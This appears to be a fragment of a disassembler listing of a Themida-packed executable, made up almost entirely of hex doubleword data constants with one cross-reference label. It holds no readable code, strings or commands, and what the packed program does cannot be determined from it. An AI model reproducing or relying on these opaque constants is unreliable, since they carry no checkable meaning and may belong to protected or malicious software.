9AE3C923h, 136A5F2Ah, 9AE3C6B1h, 15685F2Ah, 10EEDBB3h dd 0A7241B41h, 86EC6253h, 0CF7D9A4h, 3ECF5C21h, 852C3548h dd 8B5B2ADh, 0EA937D1Ch, 0BB73BA73h, 0C1E89590h, 0B4CC58DEh dd 0D7C4C4B9h, 243D4026h, 0DE29D187h, 8BE26233h, 0D2F3A29Ch dd 78A1AD3Eh, 0EF5A2FC2h, 129E7201h, 30000000h, 3EEA0B37h dd 106D59ADh, 0F599E099h, 0FFFFFD90h, 0DF1637DBh, 4EEAAD3Eh dd 0E916F0FFh, 0B7B35997h, 0F0D86582h, 0B944E58Dh, 98E5CBCEh dd 2924EFE1h, 0CAC04D54h, 6B2C5DB3h, 0E39EFC1Fh, 0CA73Fh dd 0BAC3A800h, 324B3FCAh, 0BCC1A752h, 384541CCh, 0B6C7AD58h dd 876157D6h, 0DF8D8A5h, 8C775924h, 0DF8D8A5h, 0B1695B22h dd 1A9BBAB4h, 8CF9A724h, 18972436h, 8F1C9963h, 0A0085531h dd 0E594AD3Eh, 0C0A7E68Ch, 1E09A4BDh, 2343D05Fh, 0ABD2B624h dd 0CA13B79Ch, 9C1AFDA4h, 0F09D8E08h, 0E07D89F4h, 0EAAD3E0Eh dd 78A17A03h, 0E19C93C2h, 2AE7C0EFh, 0D0F7201h, 0C1000000h dd 3EEA0B37h, 0DD093DADh, 0A7FFFFFCh, 51396CC4h, 0B57C352Ch dd 0CCA3836h, 5BEAB354h, 372E0776h, 0DCA18D38h, 0D8660CC5h dd 0A729B1B6h, 0B430C432h, 6BECC9F3h, 19203h, 4637B500h dd 80AD3EDFh, 235A55E0h, 8EEFD6A1h, 0DED22B17h, 526AD3Eh dd 0DE791816h, 0EE1BAD3Eh, 3CB62E48h, 0DB40C68Fh, 7BB3D85Ch dd 16C2D5D0h, 45598948h, 0EE473630h, 41F84547h, 0E7DE6BF2h dd 644B3696h, 53B69019h, 0D5AD3EBBh, 5C4FC959h, 3EBB3362h dd 82B861ADh, 1D31A6Fh, 131DE72h, 86F00000h, 0C451DE9Fh dd 0E47BB3CAh, 0AD1F5E49h, 0DA59A820h, 0F43A432Bh, 0E74BF7F7h dd 0D86BB353h, 0D43B7F74h, 8CF1D785h, 5C155C15h, 68385945h dd 46B0A729h, 807532AEh, 43816BECh, 94000000h, 0DB6256E7h dd 670F6388h, 1D6CC469h, 0E20A300Eh, 0BBCAB353h, 56FFA6D7h dd 0F99C861Fh, 0EFA729DBh, 61224FFCh, 23AE90EFh, 5228512Ch dd 5354D064h, 0A36BEC9Ch, 99h, 742EC576h, 0D7398003h, 9F86319Fh dd 0CEC451DEh, 55E087AFh, 0EA871E5Fh, 0E4E37A03h, 18A79757h dd 3461E234h, 5FEE4439h, 79B31568h, 0AD3E742Bh, 0D9ABD2BDh dd 384541CCh, 0E8379102h, 0EC356B4Bh, 0C871B355h, 0C5B89A2Bh dd 2B5238C3h, 12E1BEE5h, 0F1950CFCh, 0AC8h, 0F5D7A687h dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 2418B6E3h dd 1F6FE6A7h, 0F7D9A486h, 61381BAAh, 185E1766h, 99EB927Dh dd 0B099242Bh, 0B27B02E9h, 604702ABh, 0A5CD841Dh, 717EFFE6h dd 0E78FEEE4h, 433A35C0h, 468AF41h, 82210000h, 6346F78Eh dd 0DEBBDAD4h, 30D9AD3Eh, 81B96009h, 0CA69B810h, 599860ECh dd 0F6CD7CB3h, 9F8CDB55h, 25E3B28Ch, 88B1A724h, 7D4541B2h dd 99AD3947h, 0DAD28370h, 0EAD4CBA3h, 0AD2F46A7h, 45413241h dd 0AD2F4718h, 0B3081CB0h, 16518156h, 0BE74211Dh, 0F920AD2Fh dd 0E87CFA40h, 0F2D71B6Ch, 3C1DB71h, 0BD4E0000h, 23A33B0Eh dd 3D2F5A60h, 0CA702940h, 0B29924C8h, 531BD2CBh, 3EDEA8E9h dd 0DE99CBADh, 0C781AD3Eh, 8E687B78h, 0AD3EDECFh, 55D69CCDh dd 54038D59h, 9C80A9B3h, 0FC10F65Fh, 0C1B658D1h, 8E000009h dd 25F0E09Dh, 9580502Dh, 17E2E29Bh, 937E4E2Fh, 4DECDCA1h dd 0AECFC55Fh, 3F3E33DEh, 0AECFC24Dh, 413C33DEh, 0DCDAD74Fh dd 0A72417BDh, 241866DFh, 0AA940797h, 0B99AB9C4h, 87F6F0A7h dd 184541AEh, 84AD3E29h, 0F7EE9DD5h, 3890DF86h, 0E36C4AE9h dd 0CDB358E2h, 31384540h, 0E075B288h, 0EBDD94E9h, 9493E25Eh dd 0E67FFEE9h, 0F9EA072Fh, 9019644Ch, 0A0B391E9h, 3CAD3F89h dd 7A6F1E0Dh, 87948103h, 3E28EAA7h, 707FAAADh, 3E28C796h dd 0CEA4D5ADh, 3E2A4570h, 0F140FBADh, 1F5E5302h, 7805EB86h dd 49F148F1h, 0A8D5BA45h, 4797401h, 63B20E5Dh, 45A0EAC4h dd 95C4B353h, 107868BFh, 43E7A2FCh, 8FCh, 0A91B6253h, 3193EADEh dd 0AB1D6046h, 3799E4E0h, 0B517664Ch, 846680F6h, 3EC97F9h dd 8C7F0A7Ah, 0F9F49FF1h, 9F8C0484h, 2417F29Fh, 5BB3A2A7h dd 0E1D6CC4h, 59981B30h, 0A7AAB9B3h, 953F2871h, 821B6246h dd 5CCBA2CBh, 0C3C5B8B1h, 372E4F38h, 221160D8h, 0BB962671h dd 0AB831C0Ch, 0CCC7403Eh, 0CB9AD3Eh, 68351126h, 34AD3E69h dd 19062C05h, 9E1A79F0h, 42D3E04Fh, 9E2B324Bh, 0D49AD3AAh dd 536FDC6Ah, 0B51F8B3h, 0FC10A2BAh, 69B155CCh, 0E6000008h dd 6D187805h, 0ED98F885h, 7F0A7A03h, 0EB96F687h, 95147409h dd 96E7CD27h, 17664B36h, 96E7CAB5h, 19644B36h, 14F2DFB7h dd 0A7241645h, 86F05E57h, 0C8C7DE9Fh, 5228553Dh, 584B4C43h dd 95A4D90Ah, 1C55280Bh, 0C7C14C55h, 0D020AFB6h, 0A51EC7D8h dd 0ADD0BCD9h, 0C430BEB4h, 9B07AF90h, 9FF18C83h, 1ADF790h dd 0B591A272h, 0AD3E9DE8h, 0D691ECE2h, 0B0BBCBA3h, 6E000001h dd 0D94E9DFh, 4035AF7Eh, 4E2760AAh, 6CC4AA28h, 887F0E1Dh dd 0E90056F5h, 0EDFF7AAFh, 0C8CAA445h, 18B3535Ah, 5A6E2B0Bh dd 172EA729h, 9A534A33h, 97C29BD3h, 0FE72210Eh, 23D591E2h dd 395CEA90h, 0AFA72915h, 7237B33Fh, 866BEC2Dh, 15Fh, 0EDAC8A99h dd 0AFA7291Ch, 0A4770794h, 8CE51FF0h, 9F86E4E6h, 432AC7DEh dd 0B05D4A3Ah, 90EDE3B6h, 6119C0E9h, 6A89D870h, 53E7BE8Ch dd 7E45DEB3h, 0DE99133Eh, 0FF8E9DD4h, 0A3BE7409h, 294E96B7h dd 3D402CA7h, 0DCA18924h, 0D064D2C5h, 0B97179Ch, 0EC66FA8Fh dd 59FE6Bh, 0C4D00000h, 1D0E1D6Ch, 7A7CE56Eh, 3109EC8Ch dd 53612FD3h, 0A28A3BB3h, 630BC2DBh, 33E04FFAh, 0D3BD3226h dd 5D5E9DAAh, 7EF41A39h, 0E41FE9BBh, 6627138Eh, 82A72910h dd 770680F4h, 43ABE895h, 0AA344465h, 119699E1h, 0E56BEC80h dd 0A4h, 0E4B2B38h, 8EA72968h, 863593DBh, 2AC7DE9Fh, 0A12C3548h dd 43CED7A6h, 525F314Ch, 518C5CC1h, 16D0BC3Bh, 0C5D2ED9Dh dd 0B846EC45h, 0AD3E14D0h, 72522B22h, 0BC109625h, 0BEA3C79Fh dd 4E9D1B78h, 3CBFE5E1h, 4ADBB356h, 3E3F3267h, 9EC76E27h dd 24B13EF7h, 35E04F2Eh, 9BEB433Ah, 8D83FAF0h, 0FC12304Eh dd 8DA145BCh, 0C2000006h, 31DCACD1h, 0B9444439h, 33DEAECFh dd 0B742423Bh, 8928A8D5h, 6A13F913h, 37A6F1Ah, 6A13F681h dd 5786F1Ah, 201E0B83h, 0A7241471h, 86DC3223h, 0CF7D9A4h dd 0DE6C5C21h, 0C7DE9F86h, 0AD3A432Ah, 21592420h, 44DBADh dd 82F50000h, 1D6CC43Fh, 9815300Eh, 8ABFB359h, 9E5F635h dd 0A724254Ch, 36592148h, 0E02F8958h, 0DFDB7353h, 0D4C7AD3Eh dd 3EDEBBDAh, 2530D9ADh, 411E5429h, 4ADBB318h, 56000000h dd 0DF2C6945h, 0C168AD3Eh, 6CC41779h, 62300E1Dh, 0FEB3540Bh dd 89205D4Fh, 75DAF2EAh, 1861A9F6h, 4D540562h, 297D1F71h dd 0B52D59A7h, 210E5DDBh, 694E7925h dd 0D0AE25B9h, 0AD3F4E81h, 0F08D8213h, 0EEA0F049h, 9Fh dd 1D6CC4C4h, 9813300Eh, 0B4C1B359h, 866AC3BAh, 0A9F0DC69h dd 0BB73BAC3h, 2506E68Ch, 26193836h, 0CE7BA724h, 1A960EA8h dd 6BE7418Dh, 5869h, 6CC45B00h, 14300E1Dh, 0C0B35998h dd 86ECA399h, 229C08A6h, 0E5027B73h, 24254C09h, 592148A7h dd 0E741D1D6h, 2F256Bh, 0C4970000h, 300E1D6Ch, 0B3599815h dd 0BFBEA6BFh, 0A5CB8276h, 0FD79E9C3h, 6BE73DACh, 126B5EEFh dd 0F3A29C8Bh, 0A1A7242Dh, 0D579C178h, 17h, 0FAEB37E7h dd 295DAD3Eh, 0FFFFFF2Eh, 5EFBFBE8h, 3EAD3EC3h, 0C465630Bh dd 1D0E1D6Ch, 862776Eh, 73CFFFA2h, 0AD3E3626h, 0A386C376h dd 979794DAh, 0B358EF80h, 1F6CF524h, 28D552A1h, 0FAF73F3Eh dd 3F8812FCh, 0DE87B2ADh, 126B64F1h, 3F8CE28Bh, 8B53281h dd 1A175F1Eh, 58EF071Ch, 7774A5B3h, 299BE2C6h, 56D5249Ch dd 3F88F358h, 0CB6811ADh, 0A626573Ah, 64E0FE8Ch, 9CE1CC45h dd 12ECFF2Ch, 1518DC43h, 0B5E4E251h, 0E71518DCh, 1833FB32h dd 0FB826C2Dh, 64DC2B32h, 0DCA2EFCFh, 28201518h, 997B0A55h dd 5AFE8DE4h, 3B5BC562h, 45D05F16h, 0EEFB334Ah, 4110EEFDh dd 531517FCh, 2CF65026h, 341B2D01h, 0C5F99E89h, 0ABD42A75h dd 65C278C1h, 6806ADB4h, 1AD182FCh, 22FFEFCEh, 9A95C076h dd 0D3B944E3h, 0D3AA9FAAh, 69602B9Bh, 8008D14h, 91E89591h dd 80FDF3A2h, 5F0A30E9h, 7FC350BDh, 0E4607048h, 21704EDDh dd 730F0B56h, 6E0670C6h, 0BA0A7356h, 8A1DCCFh, 19060969h dd 1C13866Ch, 0E8914861h, 562E6B4Bh, 0BB6E0F0Bh, 5169F973h dd 7704235Ah, 8D82CAEFh, 93C079F0h, 47EF1378h, 70C4F947h dd 0DEBEDBDBh, 2BDEAD3Eh, 0D7CE5B02h, 0DF376660h, 0B465AD3Eh dd 5D49E47Dh, 2EC8920h, 0DF1C3935h, 0D178AD3Eh, 981E01A8h dd 0D462D80Ch, 0DF2E8660h, 522B22EDh, 9F422FDEh, 0A0879F13h dd 2307E6DDh, 3A57435Ah, 6EAD3EDFh, 5E20CE7Dh, 0DDD56AEFh dd 118B1795h, 79F08D84h, 0F7DB7AC0h, 987B0686h, 3CCFBCE5h dd 0F923C68Ch, 60DE94E5h, 0AD3E582Eh, 4961D143h, 810C1B62h dd 6E58F588h, 97DF960Fh, 4CF9EA37h, 6F2E1865h, 2DAD3E57h dd 0CEC836FCh, 68AD3E77h, 14FC1C9h, 0FF603572h, 0FBE8FFFFh dd 3E2F5EFBh, 0FD806CADh, 513FF722h, 0EEDE9F86h, 0EB512C23h dd 0BC403D28h, 2840B442h, 464B403Dh, 7201FB41h, 39B5h dd 6CC40700h, 5B7D0E1Dh, 0F6B0D01Dh, 0AE4052Dh, 0B358A100h dd 0D07F75A4h, 39C4EDA1h, 7D342D50h, 512BB7B5h, 0AB8BA8F7h dd 0AD3F4AA3h, 6C191643h, 4A3FF786h, 26A4h, 6CC40E00h dd 16300E1Dh, 0BEB35998h, 0DEE6A58Bh, 310B9717h, 1AAB4897h dd 9B524B32h, 0EE5856D3h, 16AD3EDFh, 86CE5C63h, 0C8C7DE9Fh dd 5228553Dh, 5F314C43h, 0E80756F2h, 37624AFBh, 5B022B52h dd 0C4827CB2h, 0F0B353E7h, 13462049h, 0D5A729D7h, 3B4227D6h dd 3D64190Eh, 64D0DE94h, 0ECEE9FE8h, 25576Bh, 0C4690000h dd 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h, 0F973FF6Fh dd 6218654Ch, 0ECF7BACFh, 0EC3E6Bh, 86900000h, 2AC7DE9Fh dd 6C5EEF48h, 0DE683511h, 534AD3Eh, 8736352Ch, 0F695DDA0h dd 72816E0Fh, 3EDEC594h, 0CCA2D7ADh, 304D38D5h, 2A25B0C3h dd 0DEAAE753h, 2E18AD3Eh, 0C49F564Fh, 6C11F895h, 70E8C2C6h dd 0E2AD3EE3h, 473292EBh, 1D0E1D60h, 3EDA7421h, 41F920ADh dd 206FC926h, 0DD033313h, 0A6D3B353h, 6B12FC89h, 550C3BF2h dd 6522AECh, 2693F33Bh, 0BFAC3B8Ah, 3E67160Eh, 3965DF97h dd 65AD40B3h, 4A2437B4h, 0AD3C630Bh, 999AE089h, 0A09306ECh dd 0E7C7C4DDh, 0AD3C62AAh, 3FF63FEAh, 0ADD0C24Dh, 7AE6267h dd 1A55CFAh, 1BCh, 0E9DBA293h, 71532A1Eh, 0EBDDA086h, 77592420h dd 0F5D7A68Ch, 0C4A64036h, 432CD7B9h, 0CCBF4A3Ah, 3934DFB1h dd 0DFCC4444h, 240FB2DFh, 1B73E2A7h, 0F7D9A486h, 9278210Ch dd 72BB72EBh, 6CC4A412h, 0A300E1Dh, 0CAB353E2h, 0FEA7D6BBh dd 9B871E57h, 0A729DBFAh, 9A0DDC8h, 64FD806Ch, 3B6F0373h dd 0AE2ABA34h, 6BECF7D9h, 0BE1Dh, 0CC831000h, 126B5F6Bh dd 73A82075h, 9F86CDBBh, 610DCAF8h, 0F53C88C1h, 92EBE16Ch dd 2F0F1C0Bh, 0AD3E7962h, 0B71BE85Eh, 6EB947DEh, 938973BBh dd 45AD3E6Fh, 26574F4Ah, 9B927D4Fh, 3BB645E2h, 0B9E1B427h dd 84E37EB4h, 704EDD2Ch, 0B352F7BEh, 0F38A7F16h, 43FD4A3Ah dd 0FCF7F7F4h, 98AD409Dh, 0E1D38271h, 6B612C9Ch, 9D933E12h dd 80F9FA07h, 0DBEEh, 0FE7F7400h, 6E0F038Eh, 7D731Eh, 74090590h dd 0FA836914h, 63BD2B8Ah, 0D1BC0C71h, 5823A5D8h, 0D1BC0C71h dd 6D25A7D6h, 0FD78680h, 0D0C5A724h, 0D9A48682h, 0BDB9AAF7h dd 0AD3EDEA0h, 823E4DFCh, 2A886D57h, 2D1833FBh, 86D28050h dd 0C451DE9Fh, 5ACB5C8h, 0B097322Dh, 1510FBCDh, 0B29D6868h dd 0C6D5D2CBh, 3EDEA9E8h, 725AEBADh, 320C620Bh, 0DC594266h dd 3B316860h, 0BB721B42h, 5D2007A2h, 5008D44h, 2C4AF178h dd 11403EB8h, 837E247Bh, 1D979FD6h, 0FB826D85h, 7EF9C89h dd 3FE198FCh, 0E0C786ACh, 7D69049Dh, 600F300h, 7E24B057h dd 435E1445h, 7A92228Ch, 0EF9AEA93h, 4ADC85F8h, 18h, 86372468h dd 325FDBA2h, 2EAD3EDFh, 3EDF0150h, 7DE693ADh, 8515A6CCh dd 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h dd 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 6C346804h dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 63D568h dd 241C8900h, 1E0C68h, 240C8900h, 1ABB9268h, 241C8B06h dd 8304C483h, 248904ECh, 24048124h, 4, 8B85059h, 1000000h dd 8B1889C8h, 0C4812404h, 4, 592434FFh, 0FF04C483h, 835B2434h dd 89E904C4h, 63FFFB77h, 795FE196h, 0EBF02A8Eh, 0D8B31B91h dd 1AD0EEB8h, 0FFC50306h, 1137A4E0h, 74AC0976h, 7F75C114h dd 71875B4Dh, 87422862h, 66F54474h, 23C14419h, 4EA52028h dd 79CB5229h, 78CC2346h, 0FBCB0970h, 0C8D8D12h, 89061AD2h dd 1511AD95h, 218D8906h, 9061527h, 1503CD85h, 0CD85C706h dd 98061504h, 100005Eh, 151D558Dh, 1585C706h, 61511h, 66000000h dd 0FF3A98BBh, 150009B5h, 2DB58906h, 0FF06150Ah, 1502C995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 6ABF724Bh, 0BD8B21AEh, 6152665h, 95FF006Ah db 21h, 2Eh, 15h byte_5D6C3B db 6 ; DATA XREF: Themida_:0057B784o dd 4DEBC08Bh, 0D7A1999Ch, 0CEC20178h, 4436A995h, 864683Ah dd 171CB81Bh, 52E3D057h, 4B18DED4h, 0B1F2947Fh, 4948A1B0h dd 6C4F38E6h, 0F6829602h, 697FB625h, 9B1FD67h, 75CE074h dd 0FB0A879Ch, 555F6D05h, 2A3DA358h, 29CB63CDh, 0BB5F5383h dd 188D8DB3h, 6A061AD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0C1FBC352h, 6E9D5h dd 77110000h, 0FE9983CFh, 27218D89h, 0AFBB0615h, 8B0D1E4Dh dd 15224995h, 0CD85C706h, 18061504h, 60000073h, 8698D8Bh dd 85010615h, 6150289h, 1585C761h, 61511h, 8B000000h, 15113195h dd 39B5FF06h, 6A061523h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 2D68C352h, 95FFC12Bh dd 61502C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 47C35747h, 37B60C89h, 95FF006Ah, 6152E21h, 2BEBC08Bh dd 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 0DF6B3C38h, 7AD49E51h dd 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h, 8E3E84D9h dd 8BDC27E1h, 850F53C0h, 16h, 11E9h, 9EAF5700h, 0D9FD7FAAh dd 3F373079h, 91BF3F0Bh, 835A6987h, 1508F5BDh, 9750006h dd 3ADBD83h, 74000615h, 8B535019h, 3FCB8C0h, 85890000h dd 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh dd 50177400h, 3FCB853h, 85890000h, 6151385h, 0A78D9D8Dh dd 0D3FF0617h, 0C6B2585Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 12C35747h, 3EA524BBh, 0C08B973Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h, 0B70F227Ch dd 0B5BD83D2h, 106152Dh, 87840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 4A5C35C3h dd 8E0F70DAh, 2, 0BD83D78Bh, 61514F5h, 52850F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 652BC355h, 0FF0CE4BBh, 0BD83F509h, 61509CDh dd 92840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0CCA3C350h, 0D3807C8Ch dd 478E954h, 890F0000h, 17h, 12E9h, 0FDA90A00h, 97D4D153h dd 0D758598Ch, 4DE38159h, 30DC51h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0FCB2C357h, 7D6A2CFFh, 96771284h, 8DD28166h, 56006A49h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 5EADFB32h, 53876221h, 0B034ED61h, 0D9DAADB4h, 0FA32FDB4h dd 536C3DEAh, 5B365BC0h, 0C3369BF0h, 9C32DFB4h, 0B97C2CE2h dd 0BB2344B6h, 57E044BBh, 0C277A431h, 8C3294B2h, 0DA327C5Ch dd 196C9FB4h, 0FE4656EAh, 0FE766EB0h, 0DA32EFB0h, 1964BDB4h dd 0D55DEBB3h, 385F111h, 653DAF4Bh, 0DF02566Ch, 0DA58DFB4h dd 0DA3107E3h, 8512F7B4h, 0A6BBA477h, 9EB3F990h, 0DA24FA90h dd 8D757FB4h, 8BFA9F77h, 0DCDA083Eh, 7A32EFB4h, 0FBCCCC4Fh dd 81CE7148h, 0DA3215E1h, 5B6FFEB4h, 0C0E7F059h, 0DCB8B0B2h dd 5B32DFB4h, 8829B06Fh, 0D8B9F880h, 5032FBB4h, 8F32974Ah dd 0DA32FD5Ch, 196F5FB4h, 0FE5E36E9h, 0FE765EB0h, 0DA32F7B0h dd 1967B2B4h, 9C189723h, 1AB9086Dh, 3261FEDEh, 0DA327FB7h dd 81F1E494h, 0DE16833Dh, 0DE16AB35h, 0DA32F7A2h, 0B8F1A8F7h dd 0C8DA603Ah, 1D32FEB4h, 87247AAEh, 49DD2C18h, 42DFC214h dd 373E9296h, 0FC0A4D05h, 4A689546h, 0DA32EE5Dh, 5941C5B4h dd 0E79FF769h, 92CE4A70h, 0C85F296Eh, 80EE9C52h, 2B997E4h dd 0DA586BD5h, 0DA3115E7h, 8112FEB4h, 86BB2477h, 9EB3BB90h dd 0DA26DB90h, 8971EFB4h, 5B54FA77h, 0D548BB57h, 2416B1B5h dd 82E041BBh, 32647FDEh, 0DA32BFB7h, 84F18194h, 0DE169B3Dh dd 0DE16B335h, 0DA32FBA2h, 59F1ABF2h, 0D637A820h, 0B0327FB6h dd 0D9DAECB4h, 0FA32DFB4h, 53692CEFh, 5B36D3E8h, 0C336DFF0h dd 9932FDB4h, 22D33DE7h, 2916C679h, 0BC574834h, 0D2B9083Fh dd 3262EFDEh, 0DA32F7B7h, 82F1A394h, 0DE16B93Dh, 0DE16BA35h dd 0DA327FA2h, 4BF1EFF4h, 0D552A396h, 0DA32E43Bh, 0DA371FB4h dd 0DDB6FBB4h, 82DCC280h, 0BB539ED4h, 92B919D5h, 0D6BAB048h dd 0D532DFB4h, 0DA32E93Eh, 0DAB7F8B4h, 0D532FBB4h, 0DA32FE3Ch dd 78DC7EB4h, 0DA327E0Ch, 8C32D5B4h, 0DA32DC5Ch, 196CCFB4h dd 0FE467EEAh, 0FE767AB0h, 0DA32E0B0h, 1964B8B4h, 975CC836h dd 7485FD1Ah, 0BC526F50h, 0B09D1E35h, 6053093Fh, 0F6E73D6Eh dd 0BA60ADE4h, 0DA3275BBh, 0CBDA7FB4h, 5F32BFB4h, 0FE320D3Dh dd 101C9DFCh, 0DEC64B26h, 4794F60Dh, 0EB3D9CEDh, 9A8998E7h dd 8268246Eh, 0BC16B33Dh, 0BC417C0Eh, 0DA583638h, 0DA311FE5h dd 8312FBB4h, 96BBA477h, 9EB3FA90h, 0DA267B90h, 8B73BFB4h dd 653DFC77h, 0DEF3196Fh, 0DB1C72BBh, 0DA58FBB4h, 0DA3115E1h dd 8712FEB4h, 0B6BB2277h, 9EB3BB90h, 0DA25DB90h, 8F77EFB4h dd 7F2F9F77h, 0DA3412A9h, 0E69AFDB4h, 0C668B94Fh, 8D3215EDh dd 0DA32BC5Ch, 196DFFB4h, 0FE4E66EBh, 0FE7676B0h, 0DA32EFB0h dd 1965BAB4h, 30B30B54h, 0DDAAEAF3h, 0D55A8634h, 0DA33CE31h dd 8C3285B4h, 0DA32F45Ch, 196CDBB4h, 0FE4674EAh, 0FE767FB0h dd 0DA326AB0h, 1964F9B4h, 5B543C39h, 507EC966h, 0DB4B7C6Ch dd 3ED17AD2h, 0DACD7C92h, 0D5B2FEB4h, 0DA32A636h, 8B32D5B4h dd 0DA32DC5Ch, 196BCFB4h, 0FE7E7EEDh, 0FE767AB0h, 0DA32E5B0h dd 1963BFB4h, 8AE5365Fh, 36EE0484h, 39B2A418h, 6AB728E5h dd 0DB34ED60h, 0B032FBB4h, 0D9DAADB4h, 0FA32FEB4h, 536ABCECh dd 5B369BF0h, 0CC36FBF0h, 9A32EFB4h, 67734E4h, 0DA221250h dd 44BDFDB4h, 6864353Eh, 5DE5B9D7h, 1DBAE8ABh, 51DB653Bh dd 0B032EFB4h, 0D9DAA5B4h, 0FA32FBB4h, 53683EEEh, 5B36DAE0h dd 0CF365BF0h, 9832BFB4h, 4431CE6h, 85D5D40Eh, 0DA7A1EF3h dd 5E3DFBB4h, 0DA32FDB1h, 404A160Eh, 0A6F9FFA2h, 28F93EEDh dd 0BC740B3Eh, 25399637h, 0DA1A73BBh, 3F84FBB4h, 0E827873h dd 0DA33F8AEh, 0DA587FB4h, 0DA3157E1h, 8712DFB4h, 0B6BBB277h dd 9EB3F390h, 0DA26FF90h, 8F77FDB4h, 897A3B77h, 0DA32745Ch dd 1AEC33B4h, 3E85C75Eh, 0EC0A28DFh, 0BCEF980Eh, 5A69A0AFh dd 948B927Fh, 5774FEB7h, 0C0E8A531h, 0FD8F32B2h, 0E134C56Dh dd 0EA359B4Ch, 9DFB26BBh, 533D0E5Fh, 0DA32FDB2h, 0AD893D35h dd 0BC6058EBh, 63797D35h, 6F8F5CEFh, 0DB34FA99h, 0DA6573BBh dd 0DDDBFBB4h, 0C932FDB4h, 66448703h, 0DCDB53CCh, 332BFB4h dd 4B8CB1h, 2F8F6CF9h, 0DA34E2A0h, 0DA017EBBh, 0DDDBFDB4h dd 9232FEB4h, 0D573CB74h, 67B1DF53h, 0DC27D679h, 0EEB6E0B4h dd 3232F7B4h, 0DA32FBA5h, 49A8B922h, 9681209h, 92B9B4A1h dd 9279CCB7h, 0FCE45FF7h, 0DADA06EFh, 4B9F7B4h, 0DA3F75BBh dd 6452FDB4h, 0FB555CD3h, 9DFDBD35h, 5953D021h, 0CF1F6A09h dd 5F3DEEB2h, 0DA32F7D7h, 3267FBDEh, 0DA32FDB7h, 87F1A394h dd 0DE16133Dh, 0DE16FB35h, 0DA32DFA2h, 56F1BAF1h, 0B06F3252h dd 0D9DAAAB4h, 0FA32FDB4h, 536B3DEDh, 5B365BF8h, 0CE369BF0h dd 9B32DFB4h, 51C02CE5h, 4B93464h, 0DA327A5Dh, 893297B4h dd 0DA32FD5Ch, 19695FB4h, 0FE6E36EFh, 0FE765EB0h, 0DA32F9B0h dd 1961B4B4h, 87D6253Ch, 3260FDDEh, 0DA32FEB7h, 80F12594h dd 0DE16EB3Dh, 0DE169B35h, 0DA32EFA9h, 67F1A5F6h, 149DBC02h dd 6C45CFECh, 0BA62ADADh, 886924D5h, 0DA32B05Ch, 0F392C0B4h dd 25A01EEh, 88BCA6DBh, 0CDB8A9A5h, 81688707h, 0DA20167Bh dd 0AB407FB4h, 2E65249Bh, 0CF203D05h, 0E1BED6E0h, 0DB113D0Dh dd 80EC44BBh, 67BF073Eh, 0DC282A4Ah, 95F239h, 0C78AB9AEh dd 0E949E5E8h, 0CF252231h, 1BFDDCB2h, 0B7948B5Dh, 315774FEh dd 0B2C0E8A5h, 6DFD8F32h, 4CE134C5h, 0BBEA359Bh, 0E983FB26h dd 83A4F305h, 1AD4B0BDh, 0D740006h, 4F9E8D8Dh, 1B80615h dd 0FF000000h, 6A40E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B81825C3h, 0EE06FCBBh, 57006A1Bh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F9EA435h, 0C8Ah, 68F0F00h, 81000000h, 0E402C6CAh, 2DE8836Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 57C35141h dd 4FFEA14Eh, 914C6852h, 0D0BF0F76h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 58632CC3h dd 702CAD31h, 0EBE38166h, 0DE9535Dh, 0BC000000h, 0ED109B9Ah dd 0D5D89E2Dh, 3EC741BCh, 0F5BD835Ah, 61508h, 0BD830975h dd 61503ADh, 50197400h, 0B8C08B53h, 3FCh, 2A18589h, 9D8D0615h dd 617AB05h, 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h dd 3FCh, 2A18589h, 9D8D0615h, 617A7A6h, 585BD3FFh, 6ADF8B66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B2DC356h, 7A8D8DC0h, 0E9061ADCh, 0Bh, 0F022BD61h dd 5A8D3A53h, 89A8484Ah, 1527218Dh, 0EC38006h, 4CD85C7h dd 6B400615h, 0B8660000h, 85C787E6h, 6151115h, 0 dd 0DFBBF560h, 616A45E9h, 23E1B5FFh, 858B0615h, 6150A69h dd 2C995FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0DC9F6FC3h, 6A5AC6h, 2E2195FFh dd 0C08B0615h, 19147CEBh, 0D5FD63FFh, 0BD1B2B0Fh, 597F66A4h dd 0EC11C499h, 0FE7193AEh, 0D080959Fh, 0AEF161D2h, 8AC03EFEh dd 3487B6FDh, 6CA03CBFh, 0B226667Dh, 58E24713h, 0DEAE1156h dd 0D6FBCD32h, 0F7BFB5F1h, 455A966Ah, 0DE55DD3Eh, 8C1C9FAFh dd 5352B0ACh, 